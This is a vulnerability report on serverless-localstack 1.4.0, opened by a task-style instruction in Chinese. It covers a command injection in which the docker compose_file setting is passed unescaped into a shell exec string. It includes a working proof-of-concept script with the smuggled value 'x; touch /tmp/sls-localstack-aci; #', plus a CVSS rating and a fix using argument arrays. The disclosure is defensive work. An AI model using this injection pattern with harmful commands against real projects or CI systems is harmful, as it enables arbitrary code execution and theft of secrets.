Command injection via unsanitized `custom.localstack.docker.compose_file`

从 src/index.js 和 startLocalStack 路径开始，然后运行提供的 node poc.js 复现，以确认命令注入行为。检查 docker-compose 启动命令以及注明的 docker network connect 路径；当配置值在不经过 shell 解释的情况下传递，并且 LocalStack 仍能正常启动时，即表示完成。

Description

serverless-localstack passes the custom.localstack.docker.compose_file configuration value directly into a shell command when autostart is enabled and the plugin starts LocalStack through Docker Compose.

The README documents docker.compose_file as an optional Docker Compose file path:

custom:
  localstack:
    autostart: true
    docker:
      compose_file: /home/localstack_compose.yml

However, in src/index.js, the value is interpolated into a command string:

exec(`docker-compose -f ${this.config.docker.compose_file} up -d`)

Because the value is not escaped or passed as an argument array, shell metacharacters in the compose file path can execute additional commands.

Affected Version

Tested with:

• serverless-localstack@1.4.0
• Node.js 24.10.0
• macOS / POSIX shell

Severity

Suggested CVSS v3.1: 6.5 Medium

Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Rationale:

• AV:L: exploitation requires control over local project/serverless configuration or the release/build environment.
• AC:L: once the configuration value is controlled, exploitation is straightforward.
• PR:H: in the common threat model, the attacker must be able to modify trusted project configuration or influence CI configuration.
• UI:R: a developer or CI process must run Serverless with this plugin enabled.
• C/I/A:H: successful exploitation results in arbitrary command execution as the Serverless/CI process. In CI/CD environments this may expose credentials, deployment tokens, or other secrets.

The attack surface is relatively narrow, but the impact after exploitation can be high.

Steps to Reproduce

Create a minimal project:

rm -rf /tmp/sls-localstack-public-poc /tmp/sls-localstack-aci
mkdir -p /tmp/sls-localstack-public-poc
cd /tmp/sls-localstack-public-poc

npm init -y
npm i serverless-localstack@1.4.0

Create poc.js:

const cp = require('child_process');
const { existsSync } = require('fs');

const realExec = cp.exec;

cp.exec = function hookedExec(command, options, callback) {
  if (typeof options === 'function') {
    callback = options;
    options = undefined;
  }

  console.log('[exec]', command);

  // Make the plugin believe no LocalStack container is running,
  // so it reaches the docker-compose startup path.
  if (command === 'docker ps') {
    process.nextTick(() => callback && callback(null, '', ''));
    return { on() {}, stdout: { on() {} }, stderr: { on() {} } };
  }

  return realExec.call(this, command, options, callback);
};

const LocalstackPlugin = require('serverless-localstack');

const serverless = {
  service: {
    custom: {
      localstack: {
        autostart: true,
        stages: ['dev'],
        docker: {
          compose_file: 'x; touch /tmp/sls-localstack-aci; #'
        }
      }
    },
    provider: { stage: 'dev' },
    getFunction() {
      return {};
    }
  },
  pluginManager: { hooks: {}, plugins: [] },
  cli: { log: msg => console.log('[sls]', msg) },
  getProvider() {
    return {
      request() {},
      getCredentials() {
        return { credentials: { accessKeyId: 'test', secretAccessKey: 'test' } };
      },
      sdk: { config: { update() {} } }
    };
  }
};

(async () => {
  const plugin = new LocalstackPlugin(serverless, { stage: 'dev' });
  await plugin.startLocalStack();
  console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
})().catch(err => {
  console.log('[error]', err && err.message);
  console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
});

Run:

node poc.js

Actual Result

The unescaped compose_file value is embedded into the shell command:

[exec] docker ps
[sls] Starting LocalStack using the provided docker-compose file. This can take a while.
[exec] docker-compose -f x; touch /tmp/sls-localstack-aci; # up -d
[exec] docker ps
marker exists: true

The marker file is created, demonstrating arbitrary command execution.

Expected Result

custom.localstack.docker.compose_file should be treated only as a Docker Compose file path. Shell metacharacters in the path should not execute commands.

Suggested Fix

Avoid building a shell command string from configuration values. For example, use an argument array:

execFile('docker-compose', ['-f', this.config.docker.compose_file, 'up', '-d'])

or use spawn/execa with shell: false.

The same pattern should also be reviewed in other Docker-related command construction paths, for example docker network connect "${this.config.networks[network]}" ${containerID}.

Impact

If an attacker can influence serverless.yml or CI configuration for a project that runs Serverless with serverless-localstack and autostart enabled, they can execute arbitrary commands as the developer or CI user.